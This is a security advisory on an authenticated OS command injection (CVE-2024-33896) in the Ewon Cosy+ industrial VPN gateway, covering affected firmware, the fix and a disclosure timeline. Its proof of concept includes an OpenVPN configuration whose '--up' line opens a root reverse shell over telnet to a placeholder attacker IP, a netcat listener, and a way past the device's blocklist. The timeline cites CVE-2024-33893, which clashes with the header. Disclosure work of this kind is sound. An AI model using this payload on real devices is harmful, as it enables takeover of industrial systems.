Advisory ID: SYSS-2024-018
Product: Ewon Cosy+
Manufacturer: HMS Industrial Networks AB
Affected Version(s): Firmware Versions: < 21.2s10 and < 22.1s3
Tested Version(s): Firmware Version: 21.2s7
Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (CWE-78)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2024-03-27
Solution Date: 2024-07-18
Public Disclosure: 2024-08-11
CVE Reference: CVE-2024-33896
Author of Advisory: Moritz Abrell, SySS GmbH

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Overview:

The Ewon Cosy+ is a VPN gateway used for remote access and maintenance
in industrial environments.

The manufacturer describes the product as follows (see [1]):

"The Ewon Cosy+ gateway establishes a secure VPN connection between
the machine (PLC, HMI, or other devices) and the remote engineer.
The connection happens through Talk2m, a highly secured industrial
cloud service. The Ewon Cosy+ makes industrial remote access easy
and secure like never before!"

Due to improper neutralization of parameters read from a user-controlled
configuration file, an authenticated attacker is able to inject and execute
OS commands on the device.

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Vulnerability Details:

Authenticated attackers are able to upload a custom OpenVPN configuration.
This configuration can contain the OpenVPN paramaters "--up" and "--down",
which execute a specified script or executable.

Since the process itself runs with the highest privileges (root),
this allows the device to be completely compromised.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Generate a malicious OpenVPN configuration, e.g. instructing the device
to create a reverse shell:

client
dev tun
persist-tun
proto tcp
verb 5
mute 20
--up '/bin/sh -c "TF=$(mktemp -u);mkfifo $TF;telnet <attacker-ip> 5000 0<$TF | sh 1>$TF"'
script-security 2
[...]

2. Start a listener on the attacker system:
#> nc -lvp 5000

3. Upload the OpenVPN configuration via FTP to Cosy+.

4. Set the configuration paramater "VPNCfgFile" to "/usr/<vpnfile>".

5. Command is executed by Cosy+ and a reverse shell is initiated:

nc -lvp 5000
istening on 0.0.0.0 5000
Connection received on 192.168.10.240 56806
id
uid=0(root) gid=0(root)

Note:
The paramaters "--up" and "--down" need to be specified with
two dashes since the values "up" and "down" are blocklisted on the
device.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

According to the manufacturer note[4], the vulnerability was fixed
with the firmware versions 21.2s10 and 22.1s3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-03-26: Vulnerability discovered
2024-03-27: Vulnerability reported to manufacturer
2024-04-02: Inquiry about the status
2024-04-05: Manufacturer acknowlegded the vulnerability and started the
analysis
2024-04-10: Two more vulnerabilities reported to the manufacturer
(SYSS-2024-032 and SYSS-2024-033)
2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for
a publication date for all findings
2024-04-12: Proposed dates for a discussion about publication
2024-04-15: Manufacturer sent a technical overview of planned remediation
actions and details about the planned timeline
2024-04-15: Acknowlegded the remediation actions and asked the manufacturer
for assigning a CVE ID
2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer
2024-05-31: Manufacturer informed that the fix is in completion stage and
asked if the blog post[6] can be reviewed by HMS
2024-06-04: Proposed dates to review the blog post draft
2024-06-21: Inquiry about the status
2024-06-21: Received an out-of-office auto reply
2024-07-01: Inquiry about the status
2024-07-04: Inquiry about the status
2024-07-12: Inquiry about the status and letting the manufacturer know that
the vulnerability will be published within a talk at DEF CON[7]
in August
2024-07-12: Manufacturer responded that the fix is planned by the end of
July; manufacturer asked again for reviewing the blog post
draft
2024-07-12: Again confirmed reviewing the blog post is possible and asking
for the sending of details
2024-07-17: Blog post provided to HMS
2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS
2024-07-23: Inquiry about the status
2024-07-23: Manufacturer reviewed the blog post and confirmed that a
fix is provided
2024-07-29: Discussion with HMS about the blog post and final publication
actions
2024-08-11: Vulnerability disclosed at DEF CON[7]
2024-08-11: Blog post published[6]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Ewon Cosy+ product website
https://www.hms-networks.com/p/ec71330-00ma-ewon-cosy-ethernet
[2] SySS Security Advisory SYSS-2024-018
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-018.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] Manufacturer note
https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001--ewon-several-cosy--vulnerabilities.pdf
[5] CVE-2024-33896
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33896
[6] Blog post
https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/
[7] DEF CON talk
https://defcon.org/html/defcon-32/dc-32-speakers.html#54521

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail:[email protected]
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL:http://creativecommons.org/licenses/by/3.0/deed.en
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